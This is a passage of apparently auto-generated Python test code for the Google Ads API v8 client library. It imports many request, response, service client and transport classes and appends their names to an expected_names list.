GetMobileDeviceConstantRequest expected_names.append(GetMobileDeviceConstantRequest.__name__) from google.ads.googleads.v8 import CreateOfflineUserDataJobRequest expected_names.append(CreateOfflineUserDataJobRequest.__name__) from google.ads.googleads.v8 import CreateOfflineUserDataJobResponse expected_names.append(CreateOfflineUserDataJobResponse.__name__) from google.ads.googleads.v8 import GetOfflineUserDataJobRequest expected_names.append(GetOfflineUserDataJobRequest.__name__) from google.ads.googleads.v8 import RunOfflineUserDataJobRequest expected_names.append(RunOfflineUserDataJobRequest.__name__) from google.ads.googleads.v8 import AddOfflineUserDataJobOperationsRequest expected_names.append(AddOfflineUserDataJobOperationsRequest.__name__) from google.ads.googleads.v8 import OfflineUserDataJobOperation expected_names.append(OfflineUserDataJobOperation.__name__) from google.ads.googleads.v8 import AddOfflineUserDataJobOperationsResponse expected_names.append(AddOfflineUserDataJobOperationsResponse.__name__) from google.ads.googleads.v8 import GetOperatingSystemVersionConstantRequest expected_names.append(GetOperatingSystemVersionConstantRequest.__name__) from google.ads.googleads.v8 import GetPaidOrganicSearchTermViewRequest expected_names.append(GetPaidOrganicSearchTermViewRequest.__name__) from google.ads.googleads.v8 import GetParentalStatusViewRequest expected_names.append(GetParentalStatusViewRequest.__name__) from google.ads.googleads.v8 import ListPaymentsAccountsRequest expected_names.append(ListPaymentsAccountsRequest.__name__) from google.ads.googleads.v8 import ListPaymentsAccountsResponse expected_names.append(ListPaymentsAccountsResponse.__name__) from google.ads.googleads.v8 import GetProductBiddingCategoryConstantRequest expected_names.append(GetProductBiddingCategoryConstantRequest.__name__) from google.ads.googleads.v8 import GetProductGroupViewRequest expected_names.append(GetProductGroupViewRequest.__name__) from google.ads.googleads.v8 import ListPlannableLocationsRequest expected_names.append(ListPlannableLocationsRequest.__name__) from google.ads.googleads.v8 import ListPlannableLocationsResponse expected_names.append(ListPlannableLocationsResponse.__name__) from google.ads.googleads.v8 import PlannableLocation expected_names.append(PlannableLocation.__name__) from google.ads.googleads.v8 import ListPlannableProductsRequest expected_names.append(ListPlannableProductsRequest.__name__) from google.ads.googleads.v8 import ListPlannableProductsResponse expected_names.append(ListPlannableProductsResponse.__name__) from google.ads.googleads.v8 import ProductMetadata expected_names.append(ProductMetadata.__name__) from google.ads.googleads.v8 import PlannableTargeting expected_names.append(PlannableTargeting.__name__) from google.ads.googleads.v8 import GenerateProductMixIdeasRequest expected_names.append(GenerateProductMixIdeasRequest.__name__) from google.ads.googleads.v8 import Preferences expected_names.append(Preferences.__name__) from google.ads.googleads.v8 import GenerateProductMixIdeasResponse expected_names.append(GenerateProductMixIdeasResponse.__name__) from google.ads.googleads.v8 import ProductAllocation expected_names.append(ProductAllocation.__name__) from google.ads.googleads.v8 import GenerateReachForecastRequest expected_names.append(GenerateReachForecastRequest.__name__) from google.ads.googleads.v8 import EffectiveFrequencyLimit expected_names.append(EffectiveFrequencyLimit.__name__) from google.ads.googleads.v8 import FrequencyCap expected_names.append(FrequencyCap.__name__) from google.ads.googleads.v8 import Targeting expected_names.append(Targeting.__name__) from google.ads.googleads.v8 import CampaignDuration expected_names.append(CampaignDuration.__name__) from google.ads.googleads.v8 import PlannedProduct expected_names.append(PlannedProduct.__name__) from google.ads.googleads.v8 import GenerateReachForecastResponse expected_names.append(GenerateReachForecastResponse.__name__) from google.ads.googleads.v8 import ReachCurve expected_names.append(ReachCurve.__name__) from google.ads.googleads.v8 import ReachForecast expected_names.append(ReachForecast.__name__) from google.ads.googleads.v8 import Forecast expected_names.append(Forecast.__name__) from google.ads.googleads.v8 import PlannedProductReachForecast expected_names.append(PlannedProductReachForecast.__name__) from google.ads.googleads.v8 import PlannedProductForecast expected_names.append(PlannedProductForecast.__name__) from google.ads.googleads.v8 import OnTargetAudienceMetrics expected_names.append(OnTargetAudienceMetrics.__name__) from google.ads.googleads.v8 import EffectiveFrequencyBreakdown expected_names.append(EffectiveFrequencyBreakdown.__name__) from google.ads.googleads.v8 import GetRecommendationRequest expected_names.append(GetRecommendationRequest.__name__) from google.ads.googleads.v8 import ApplyRecommendationRequest expected_names.append(ApplyRecommendationRequest.__name__) from google.ads.googleads.v8 import ApplyRecommendationOperation expected_names.append(ApplyRecommendationOperation.__name__) from google.ads.googleads.v8 import ApplyRecommendationResponse expected_names.append(ApplyRecommendationResponse.__name__) from google.ads.googleads.v8 import ApplyRecommendationResult expected_names.append(ApplyRecommendationResult.__name__) from google.ads.googleads.v8 import DismissRecommendationRequest expected_names.append(DismissRecommendationRequest.__name__) from google.ads.googleads.v8 import DismissRecommendationResponse expected_names.append(DismissRecommendationResponse.__name__) from google.ads.googleads.v8 import GetSearchTermViewRequest expected_names.append(GetSearchTermViewRequest.__name__) from google.ads.googleads.v8 import GetShoppingPerformanceViewRequest expected_names.append(GetShoppingPerformanceViewRequest.__name__) from google.ads.googleads.v8 import GetSmartCampaignSearchTermViewRequest expected_names.append(GetSmartCampaignSearchTermViewRequest.__name__) from google.ads.googleads.v8 import SuggestSmartCampaignBudgetOptionsRequest expected_names.append(SuggestSmartCampaignBudgetOptionsRequest.__name__) from google.ads.googleads.v8 import SmartCampaignSuggestionInfo expected_names.append(SmartCampaignSuggestionInfo.__name__) from google.ads.googleads.v8 import SuggestSmartCampaignBudgetOptionsResponse expected_names.append(SuggestSmartCampaignBudgetOptionsResponse.__name__) from google.ads.googleads.v8 import SuggestSmartCampaignAdRequest expected_names.append(SuggestSmartCampaignAdRequest.__name__) from google.ads.googleads.v8 import SuggestSmartCampaignAdResponse expected_names.append(SuggestSmartCampaignAdResponse.__name__) from google.ads.googleads.v8 import GetThirdPartyAppAnalyticsLinkRequest expected_names.append(GetThirdPartyAppAnalyticsLinkRequest.__name__) from google.ads.googleads.v8 import RegenerateShareableLinkIdRequest expected_names.append(RegenerateShareableLinkIdRequest.__name__) from google.ads.googleads.v8 import RegenerateShareableLinkIdResponse expected_names.append(RegenerateShareableLinkIdResponse.__name__) from google.ads.googleads.v8 import GetTopicConstantRequest expected_names.append(GetTopicConstantRequest.__name__) from google.ads.googleads.v8 import GetTopicViewRequest expected_names.append(GetTopicViewRequest.__name__) from google.ads.googleads.v8 import UploadUserDataRequest expected_names.append(UploadUserDataRequest.__name__) from google.ads.googleads.v8 import UserDataOperation expected_names.append(UserDataOperation.__name__) from google.ads.googleads.v8 import UploadUserDataResponse expected_names.append(UploadUserDataResponse.__name__) from google.ads.googleads.v8 import GetUserInterestRequest expected_names.append(GetUserInterestRequest.__name__) from google.ads.googleads.v8 import GetUserLocationViewRequest expected_names.append(GetUserLocationViewRequest.__name__) from google.ads.googleads.v8 import GetVideoRequest expected_names.append(GetVideoRequest.__name__) from google.ads.googleads.v8 import GetWebpageViewRequest expected_names.append(GetWebpageViewRequest.__name__) # Client and transport classes from google.ads.googleads.v8 import WebpageViewServiceClient expected_names.append(WebpageViewServiceClient.__name__) from google.ads.googleads.v8 import WebpageViewServiceTransport expected_names.append(WebpageViewServiceTransport.__name__) from google.ads.googleads.v8 import WebpageViewServiceGrpcTransport expected_names.append(WebpageViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import VideoServiceClient expected_names.append(VideoServiceClient.__name__) from google.ads.googleads.v8 import VideoServiceTransport expected_names.append(VideoServiceTransport.__name__) from google.ads.googleads.v8 import VideoServiceGrpcTransport expected_names.append(VideoServiceGrpcTransport.__name__) from google.ads.googleads.v8 import UserLocationViewServiceClient expected_names.append(UserLocationViewServiceClient.__name__) from google.ads.googleads.v8 import UserLocationViewServiceTransport expected_names.append(UserLocationViewServiceTransport.__name__) from google.ads.googleads.v8 import UserLocationViewServiceGrpcTransport expected_names.append(UserLocationViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import UserInterestServiceClient expected_names.append(UserInterestServiceClient.__name__) from google.ads.googleads.v8 import UserInterestServiceTransport expected_names.append(UserInterestServiceTransport.__name__) from google.ads.googleads.v8 import UserInterestServiceGrpcTransport expected_names.append(UserInterestServiceGrpcTransport.__name__) from google.ads.googleads.v8 import UserDataServiceClient expected_names.append(UserDataServiceClient.__name__) from google.ads.googleads.v8 import UserDataServiceTransport expected_names.append(UserDataServiceTransport.__name__) from google.ads.googleads.v8 import UserDataServiceGrpcTransport expected_names.append(UserDataServiceGrpcTransport.__name__) from google.ads.googleads.v8 import TopicViewServiceClient expected_names.append(TopicViewServiceClient.__name__) from google.ads.googleads.v8 import TopicViewServiceTransport expected_names.append(TopicViewServiceTransport.__name__) from google.ads.googleads.v8 import TopicViewServiceGrpcTransport expected_names.append(TopicViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import TopicConstantServiceClient expected_names.append(TopicConstantServiceClient.__name__) from google.ads.googleads.v8 import TopicConstantServiceTransport expected_names.append(TopicConstantServiceTransport.__name__) from google.ads.googleads.v8 import TopicConstantServiceGrpcTransport expected_names.append(TopicConstantServiceGrpcTransport.__name__) from google.ads.googleads.v8 import ThirdPartyAppAnalyticsLinkServiceClient expected_names.append(ThirdPartyAppAnalyticsLinkServiceClient.__name__) from google.ads.googleads.v8 import ThirdPartyAppAnalyticsLinkServiceTransport expected_names.append(ThirdPartyAppAnalyticsLinkServiceTransport.__name__) from google.ads.googleads.v8 import ThirdPartyAppAnalyticsLinkServiceGrpcTransport expected_names.append(ThirdPartyAppAnalyticsLinkServiceGrpcTransport.__name__) from google.ads.googleads.v8 import SmartCampaignSuggestServiceClient expected_names.append(SmartCampaignSuggestServiceClient.__name__) from google.ads.googleads.v8 import SmartCampaignSuggestServiceTransport expected_names.append(SmartCampaignSuggestServiceTransport.__name__) from google.ads.googleads.v8 import SmartCampaignSuggestServiceGrpcTransport expected_names.append(SmartCampaignSuggestServiceGrpcTransport.__name__) from google.ads.googleads.v8 import SmartCampaignSearchTermViewServiceClient expected_names.append(SmartCampaignSearchTermViewServiceClient.__name__) from google.ads.googleads.v8 import SmartCampaignSearchTermViewServiceTransport expected_names.append(SmartCampaignSearchTermViewServiceTransport.__name__) from google.ads.googleads.v8 import SmartCampaignSearchTermViewServiceGrpcTransport expected_names.append(SmartCampaignSearchTermViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import ShoppingPerformanceViewServiceClient expected_names.append(ShoppingPerformanceViewServiceClient.__name__) from google.ads.googleads.v8 import ShoppingPerformanceViewServiceTransport expected_names.append(ShoppingPerformanceViewServiceTransport.__name__) from google.ads.googleads.v8 import ShoppingPerformanceViewServiceGrpcTransport expected_names.append(ShoppingPerformanceViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import SearchTermViewServiceClient expected_names.append(SearchTermViewServiceClient.__name__) from google.ads.googleads.v8 import SearchTermViewServiceTransport expected_names.append(SearchTermViewServiceTransport.__name__) from google.ads.googleads.v8 import SearchTermViewServiceGrpcTransport expected_names.append(SearchTermViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import RecommendationServiceClient expected_names.append(RecommendationServiceClient.__name__) from google.ads.googleads.v8 import RecommendationServiceTransport expected_names.append(RecommendationServiceTransport.__name__) from google.ads.googleads.v8 import RecommendationServiceGrpcTransport expected_names.append(RecommendationServiceGrpcTransport.__name__) from google.ads.googleads.v8 import ReachPlanServiceClient expected_names.append(ReachPlanServiceClient.__name__) from google.ads.googleads.v8 import ReachPlanServiceTransport expected_names.append(ReachPlanServiceTransport.__name__) from google.ads.googleads.v8 import ReachPlanServiceGrpcTransport expected_names.append(ReachPlanServiceGrpcTransport.__name__) from google.ads.googleads.v8 import ProductGroupViewServiceClient expected_names.append(ProductGroupViewServiceClient.__name__) from google.ads.googleads.v8 import ProductGroupViewServiceTransport expected_names.append(ProductGroupViewServiceTransport.__name__) from google.ads.googleads.v8 import ProductGroupViewServiceGrpcTransport expected_names.append(ProductGroupViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import ProductBiddingCategoryConstantServiceClient expected_names.append(ProductBiddingCategoryConstantServiceClient.__name__) from google.ads.googleads.v8 import ProductBiddingCategoryConstantServiceTransport expected_names.append(ProductBiddingCategoryConstantServiceTransport.__name__) from google.ads.googleads.v8 import ProductBiddingCategoryConstantServiceGrpcTransport expected_names.append(ProductBiddingCategoryConstantServiceGrpcTransport.__name__) from google.ads.googleads.v8 import PaymentsAccountServiceClient expected_names.append(PaymentsAccountServiceClient.__name__) from google.ads.googleads.v8 import PaymentsAccountServiceTransport expected_names.append(PaymentsAccountServiceTransport.__name__) from google.ads.googleads.v8 import PaymentsAccountServiceGrpcTransport expected_names.append(PaymentsAccountServiceGrpcTransport.__name__) from google.ads.googleads.v8 import ParentalStatusViewServiceClient expected_names.append(ParentalStatusViewServiceClient.__name__) from google.ads.googleads.v8 import ParentalStatusViewServiceTransport expected_names.append(ParentalStatusViewServiceTransport.__name__) from google.ads.googleads.v8 import ParentalStatusViewServiceGrpcTransport expected_names.append(ParentalStatusViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import PaidOrganicSearchTermViewServiceClient expected_names.append(PaidOrganicSearchTermViewServiceClient.__name__) from google.ads.googleads.v8 import PaidOrganicSearchTermViewServiceTransport expected_names.append(PaidOrganicSearchTermViewServiceTransport.__name__) from google.ads.googleads.v8 import PaidOrganicSearchTermViewServiceGrpcTransport expected_names.append(PaidOrganicSearchTermViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import OperatingSystemVersionConstantServiceClient expected_names.append(OperatingSystemVersionConstantServiceClient.__name__) from google.ads.googleads.v8 import OperatingSystemVersionConstantServiceTransport expected_names.append(OperatingSystemVersionConstantServiceTransport.__name__) from google.ads.googleads.v8 import OperatingSystemVersionConstantServiceGrpcTransport expected_names.append(OperatingSystemVersionConstantServiceGrpcTransport.__name__) from google.ads.googleads.v8 import OfflineUserDataJobServiceClient expected_names.append(OfflineUserDataJobServiceClient.__name__) from google.ads.googleads.v8 import OfflineUserDataJobServiceTransport expected_names.append(OfflineUserDataJobServiceTransport.__name__) from google.ads.googleads.v8 import OfflineUserDataJobServiceGrpcTransport expected_names.append(OfflineUserDataJobServiceGrpcTransport.__name__) from google.ads.googleads.v8 import MobileDeviceConstantServiceClient expected_names.append(MobileDeviceConstantServiceClient.__name__) from google.ads.googleads.v8 import MobileDeviceConstantServiceTransport expected_names.append(MobileDeviceConstantServiceTransport.__name__) from google.ads.googleads.v8 import MobileDeviceConstantServiceGrpcTransport expected_names.append(MobileDeviceConstantServiceGrpcTransport.__name__) from google.ads.googleads.v8 import MobileAppCategoryConstantServiceClient expected_names.append(MobileAppCategoryConstantServiceClient.__name__) from google.ads.googleads.v8 import MobileAppCategoryConstantServiceTransport expected_names.append(MobileAppCategoryConstantServiceTransport.__name__) from google.ads.googleads.v8 import MobileAppCategoryConstantServiceGrpcTransport expected_names.append(MobileAppCategoryConstantServiceGrpcTransport.__name__) from google.ads.googleads.v8 import MerchantCenterLinkServiceClient expected_names.append(MerchantCenterLinkServiceClient.__name__) from google.ads.googleads.v8 import MerchantCenterLinkServiceTransport expected_names.append(MerchantCenterLinkServiceTransport.__name__) from google.ads.googleads.v8 import MerchantCenterLinkServiceGrpcTransport expected_names.append(MerchantCenterLinkServiceGrpcTransport.__name__) from google.ads.googleads.v8 import ManagedPlacementViewServiceClient expected_names.append(ManagedPlacementViewServiceClient.__name__) from google.ads.googleads.v8 import ManagedPlacementViewServiceTransport expected_names.append(ManagedPlacementViewServiceTransport.__name__) from google.ads.googleads.v8 import ManagedPlacementViewServiceGrpcTransport expected_names.append(ManagedPlacementViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import LocationViewServiceClient expected_names.append(LocationViewServiceClient.__name__) from google.ads.googleads.v8 import LocationViewServiceTransport expected_names.append(LocationViewServiceTransport.__name__) from google.ads.googleads.v8 import LocationViewServiceGrpcTransport expected_names.append(LocationViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import LifeEventServiceClient expected_names.append(LifeEventServiceClient.__name__) from google.ads.googleads.v8 import LifeEventServiceTransport expected_names.append(LifeEventServiceTransport.__name__) from google.ads.googleads.v8 import LifeEventServiceGrpcTransport expected_names.append(LifeEventServiceGrpcTransport.__name__) from google.ads.googleads.v8 import LanguageConstantServiceClient expected_names.append(LanguageConstantServiceClient.__name__) from google.ads.googleads.v8 import LanguageConstantServiceTransport expected_names.append(LanguageConstantServiceTransport.__name__) from google.ads.googleads.v8 import LanguageConstantServiceGrpcTransport expected_names.append(LanguageConstantServiceGrpcTransport.__name__) from google.ads.googleads.v8 import LandingPageViewServiceClient expected_names.append(LandingPageViewServiceClient.__name__) from google.ads.googleads.v8 import LandingPageViewServiceTransport expected_names.append(LandingPageViewServiceTransport.__name__) from google.ads.googleads.v8 import LandingPageViewServiceGrpcTransport expected_names.append(LandingPageViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import KeywordViewServiceClient expected_names.append(KeywordViewServiceClient.__name__) from google.ads.googleads.v8 import KeywordViewServiceTransport expected_names.append(KeywordViewServiceTransport.__name__) from google.ads.googleads.v8 import KeywordViewServiceGrpcTransport expected_names.append(KeywordViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import KeywordThemeConstantServiceClient expected_names.append(KeywordThemeConstantServiceClient.__name__) from google.ads.googleads.v8 import KeywordThemeConstantServiceTransport expected_names.append(KeywordThemeConstantServiceTransport.__name__) from google.ads.googleads.v8 import KeywordThemeConstantServiceGrpcTransport expected_names.append(KeywordThemeConstantServiceGrpcTransport.__name__) from google.ads.googleads.v8 import KeywordPlanIdeaServiceClient expected_names.append(KeywordPlanIdeaServiceClient.__name__) from google.ads.googleads.v8 import KeywordPlanIdeaServiceTransport expected_names.append(KeywordPlanIdeaServiceTransport.__name__) from google.ads.googleads.v8 import KeywordPlanIdeaServiceGrpcTransport expected_names.append(KeywordPlanIdeaServiceGrpcTransport.__name__) from google.ads.googleads.v8 import InvoiceServiceClient expected_names.append(InvoiceServiceClient.__name__) from google.ads.googleads.v8 import InvoiceServiceTransport expected_names.append(InvoiceServiceTransport.__name__) from google.ads.googleads.v8 import InvoiceServiceGrpcTransport expected_names.append(InvoiceServiceGrpcTransport.__name__) from google.ads.googleads.v8 import IncomeRangeViewServiceClient expected_names.append(IncomeRangeViewServiceClient.__name__) from google.ads.googleads.v8 import IncomeRangeViewServiceTransport expected_names.append(IncomeRangeViewServiceTransport.__name__) from google.ads.googleads.v8 import IncomeRangeViewServiceGrpcTransport expected_names.append(IncomeRangeViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import HotelPerformanceViewServiceClient expected_names.append(HotelPerformanceViewServiceClient.__name__) from google.ads.googleads.v8 import HotelPerformanceViewServiceTransport expected_names.append(HotelPerformanceViewServiceTransport.__name__) from google.ads.googleads.v8 import HotelPerformanceViewServiceGrpcTransport expected_names.append(HotelPerformanceViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import HotelGroupViewServiceClient expected_names.append(HotelGroupViewServiceClient.__name__) from google.ads.googleads.v8 import HotelGroupViewServiceTransport expected_names.append(HotelGroupViewServiceTransport.__name__) from google.ads.googleads.v8 import HotelGroupViewServiceGrpcTransport expected_names.append(HotelGroupViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import GroupPlacementViewServiceClient expected_names.append(GroupPlacementViewServiceClient.__name__) from google.ads.googleads.v8 import GroupPlacementViewServiceTransport expected_names.append(GroupPlacementViewServiceTransport.__name__) from google.ads.googleads.v8 import GroupPlacementViewServiceGrpcTransport expected_names.append(GroupPlacementViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import GoogleAdsFieldServiceClient expected_names.append(GoogleAdsFieldServiceClient.__name__) from google.ads.googleads.v8 import GoogleAdsFieldServiceTransport expected_names.append(GoogleAdsFieldServiceTransport.__name__) from google.ads.googleads.v8 import GoogleAdsFieldServiceGrpcTransport expected_names.append(GoogleAdsFieldServiceGrpcTransport.__name__) from google.ads.googleads.v8 import GeographicViewServiceClient expected_names.append(GeographicViewServiceClient.__name__) from google.ads.googleads.v8 import GeographicViewServiceTransport expected_names.append(GeographicViewServiceTransport.__name__) from google.ads.googleads.v8 import GeographicViewServiceGrpcTransport expected_names.append(GeographicViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import GeoTargetConstantServiceClient expected_names.append(GeoTargetConstantServiceClient.__name__) from google.ads.googleads.v8 import GeoTargetConstantServiceTransport expected_names.append(GeoTargetConstantServiceTransport.__name__) from google.ads.googleads.v8 import GeoTargetConstantServiceGrpcTransport expected_names.append(GeoTargetConstantServiceGrpcTransport.__name__) from google.ads.googleads.v8 import GenderViewServiceClient expected_names.append(GenderViewServiceClient.__name__) from google.ads.googleads.v8 import GenderViewServiceTransport expected_names.append(GenderViewServiceTransport.__name__) from google.ads.googleads.v8 import GenderViewServiceGrpcTransport expected_names.append(GenderViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import FeedPlaceholderViewServiceClient expected_names.append(FeedPlaceholderViewServiceClient.__name__) from google.ads.googleads.v8 import FeedPlaceholderViewServiceTransport expected_names.append(FeedPlaceholderViewServiceTransport.__name__) from google.ads.googleads.v8 import FeedPlaceholderViewServiceGrpcTransport expected_names.append(FeedPlaceholderViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import ExpandedLandingPageViewServiceClient expected_names.append(ExpandedLandingPageViewServiceClient.__name__) from google.ads.googleads.v8 import ExpandedLandingPageViewServiceTransport expected_names.append(ExpandedLandingPageViewServiceTransport.__name__) from google.ads.googleads.v8 import ExpandedLandingPageViewServiceGrpcTransport expected_names.append(ExpandedLandingPageViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import DynamicSearchAdsSearchTermViewServiceClient expected_names.append(DynamicSearchAdsSearchTermViewServiceClient.__name__) from google.ads.googleads.v8 import DynamicSearchAdsSearchTermViewServiceTransport expected_names.append(DynamicSearchAdsSearchTermViewServiceTransport.__name__) from google.ads.googleads.v8 import DynamicSearchAdsSearchTermViewServiceGrpcTransport expected_names.append(DynamicSearchAdsSearchTermViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import DomainCategoryServiceClient expected_names.append(DomainCategoryServiceClient.__name__) from google.ads.googleads.v8 import DomainCategoryServiceTransport expected_names.append(DomainCategoryServiceTransport.__name__) from google.ads.googleads.v8 import DomainCategoryServiceGrpcTransport expected_names.append(DomainCategoryServiceGrpcTransport.__name__) from google.ads.googleads.v8 import DistanceViewServiceClient expected_names.append(DistanceViewServiceClient.__name__) from google.ads.googleads.v8 import DistanceViewServiceTransport expected_names.append(DistanceViewServiceTransport.__name__) from google.ads.googleads.v8 import DistanceViewServiceGrpcTransport expected_names.append(DistanceViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import DisplayKeywordViewServiceClient expected_names.append(DisplayKeywordViewServiceClient.__name__) from google.ads.googleads.v8 import DisplayKeywordViewServiceTransport expected_names.append(DisplayKeywordViewServiceTransport.__name__) from google.ads.googleads.v8 import DisplayKeywordViewServiceGrpcTransport expected_names.append(DisplayKeywordViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import DetailedDemographicServiceClient expected_names.append(DetailedDemographicServiceClient.__name__) from google.ads.googleads.v8 import DetailedDemographicServiceTransport expected_names.append(DetailedDemographicServiceTransport.__name__) from google.ads.googleads.v8 import DetailedDemographicServiceGrpcTransport expected_names.append(DetailedDemographicServiceGrpcTransport.__name__) from google.ads.googleads.v8 import DetailPlacementViewServiceClient expected_names.append(DetailPlacementViewServiceClient.__name__) from google.ads.googleads.v8 import DetailPlacementViewServiceTransport expected_names.append(DetailPlacementViewServiceTransport.__name__) from google.ads.googleads.v8 import DetailPlacementViewServiceGrpcTransport expected_names.append(DetailPlacementViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CustomerUserAccessServiceClient expected_names.append(CustomerUserAccessServiceClient.__name__) from google.ads.googleads.v8 import CustomerUserAccessServiceTransport expected_names.append(CustomerUserAccessServiceTransport.__name__) from google.ads.googleads.v8 import CustomerUserAccessServiceGrpcTransport expected_names.append(CustomerUserAccessServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CustomerUserAccessInvitationServiceClient expected_names.append(CustomerUserAccessInvitationServiceClient.__name__) from google.ads.googleads.v8 import CustomerUserAccessInvitationServiceTransport expected_names.append(CustomerUserAccessInvitationServiceTransport.__name__) from google.ads.googleads.v8 import CustomerUserAccessInvitationServiceGrpcTransport expected_names.append(CustomerUserAccessInvitationServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CustomerManagerLinkServiceClient expected_names.append(CustomerManagerLinkServiceClient.__name__) from google.ads.googleads.v8 import CustomerManagerLinkServiceTransport expected_names.append(CustomerManagerLinkServiceTransport.__name__) from google.ads.googleads.v8 import CustomerManagerLinkServiceGrpcTransport expected_names.append(CustomerManagerLinkServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CustomerClientServiceClient expected_names.append(CustomerClientServiceClient.__name__) from google.ads.googleads.v8 import CustomerClientServiceTransport expected_names.append(CustomerClientServiceTransport.__name__) from google.ads.googleads.v8 import CustomerClientServiceGrpcTransport expected_names.append(CustomerClientServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CustomerClientLinkServiceClient expected_names.append(CustomerClientLinkServiceClient.__name__) from google.ads.googleads.v8 import CustomerClientLinkServiceTransport expected_names.append(CustomerClientLinkServiceTransport.__name__) from google.ads.googleads.v8 import CustomerClientLinkServiceGrpcTransport expected_names.append(CustomerClientLinkServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CustomInterestServiceClient expected_names.append(CustomInterestServiceClient.__name__) from google.ads.googleads.v8 import CustomInterestServiceTransport expected_names.append(CustomInterestServiceTransport.__name__) from google.ads.googleads.v8 import CustomInterestServiceGrpcTransport expected_names.append(CustomInterestServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CustomAudienceServiceClient expected_names.append(CustomAudienceServiceClient.__name__) from google.ads.googleads.v8 import CustomAudienceServiceTransport expected_names.append(CustomAudienceServiceTransport.__name__) from google.ads.googleads.v8 import CustomAudienceServiceGrpcTransport expected_names.append(CustomAudienceServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CurrencyConstantServiceClient expected_names.append(CurrencyConstantServiceClient.__name__) from google.ads.googleads.v8 import CurrencyConstantServiceTransport expected_names.append(CurrencyConstantServiceTransport.__name__) from google.ads.googleads.v8 import CurrencyConstantServiceGrpcTransport expected_names.append(CurrencyConstantServiceGrpcTransport.__name__) from google.ads.googleads.v8 import ConversionUploadServiceClient expected_names.append(ConversionUploadServiceClient.__name__) from google.ads.googleads.v8 import ConversionUploadServiceTransport expected_names.append(ConversionUploadServiceTransport.__name__) from google.ads.googleads.v8 import ConversionUploadServiceGrpcTransport expected_names.append(ConversionUploadServiceGrpcTransport.__name__) from google.ads.googleads.v8 import ConversionAdjustmentUploadServiceClient expected_names.append(ConversionAdjustmentUploadServiceClient.__name__) from google.ads.googleads.v8 import ConversionAdjustmentUploadServiceTransport expected_names.append(ConversionAdjustmentUploadServiceTransport.__name__) from google.ads.googleads.v8 import ConversionAdjustmentUploadServiceGrpcTransport expected_names.append(ConversionAdjustmentUploadServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CombinedAudienceServiceClient expected_names.append(CombinedAudienceServiceClient.__name__) from google.ads.googleads.v8 import CombinedAudienceServiceTransport expected_names.append(CombinedAudienceServiceTransport.__name__) from google.ads.googleads.v8 import CombinedAudienceServiceGrpcTransport expected_names.append(CombinedAudienceServiceGrpcTransport.__name__) from google.ads.googleads.v8 import ClickViewServiceClient expected_names.append(ClickViewServiceClient.__name__) from google.ads.googleads.v8 import ClickViewServiceTransport expected_names.append(ClickViewServiceTransport.__name__) from google.ads.googleads.v8 import ClickViewServiceGrpcTransport expected_names.append(ClickViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import ChangeStatusServiceClient expected_names.append(ChangeStatusServiceClient.__name__) from google.ads.googleads.v8 import ChangeStatusServiceTransport expected_names.append(ChangeStatusServiceTransport.__name__) from google.ads.googleads.v8 import ChangeStatusServiceGrpcTransport expected_names.append(ChangeStatusServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CarrierConstantServiceClient expected_names.append(CarrierConstantServiceClient.__name__) from google.ads.googleads.v8 import CarrierConstantServiceTransport expected_names.append(CarrierConstantServiceTransport.__name__) from google.ads.googleads.v8 import CarrierConstantServiceGrpcTransport expected_names.append(CarrierConstantServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CampaignSimulationServiceClient expected_names.append(CampaignSimulationServiceClient.__name__) from google.ads.googleads.v8 import CampaignSimulationServiceTransport expected_names.append(CampaignSimulationServiceTransport.__name__) from google.ads.googleads.v8 import CampaignSimulationServiceGrpcTransport expected_names.append(CampaignSimulationServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CampaignCriterionSimulationServiceClient expected_names.append(CampaignCriterionSimulationServiceClient.__name__) from google.ads.googleads.v8 import CampaignCriterionSimulationServiceTransport expected_names.append(CampaignCriterionSimulationServiceTransport.__name__) from google.ads.googleads.v8 import CampaignCriterionSimulationServiceGrpcTransport expected_names.append(CampaignCriterionSimulationServiceGrpcTransport.__name__) from google.ads.googleads.v8 import CampaignAudienceViewServiceClient expected_names.append(CampaignAudienceViewServiceClient.__name__) from google.ads.googleads.v8 import CampaignAudienceViewServiceTransport expected_names.append(CampaignAudienceViewServiceTransport.__name__) from google.ads.googleads.v8 import CampaignAudienceViewServiceGrpcTransport expected_names.append(CampaignAudienceViewServiceGrpcTransport.__name__) from google.ads.googleads.v8 import BillingSetupServiceClient expected_names.append(BillingSetupServiceClient.__name__) from google.ads.googleads.v8 import BillingSetupServiceTransport expected_names.append(BillingSetupServiceTransport.__name__) from google.ads.googleads.v8 import BillingSetupServiceGrpcTransport expected_names.append(BillingSetupServiceGrpcTransport.__name__) from google.ads.googleads.v8 import BiddingStrategySimulationServiceClient expected_names.append(BiddingStrategySimulationServiceClient.__name__) from google.ads.googleads.v8 import 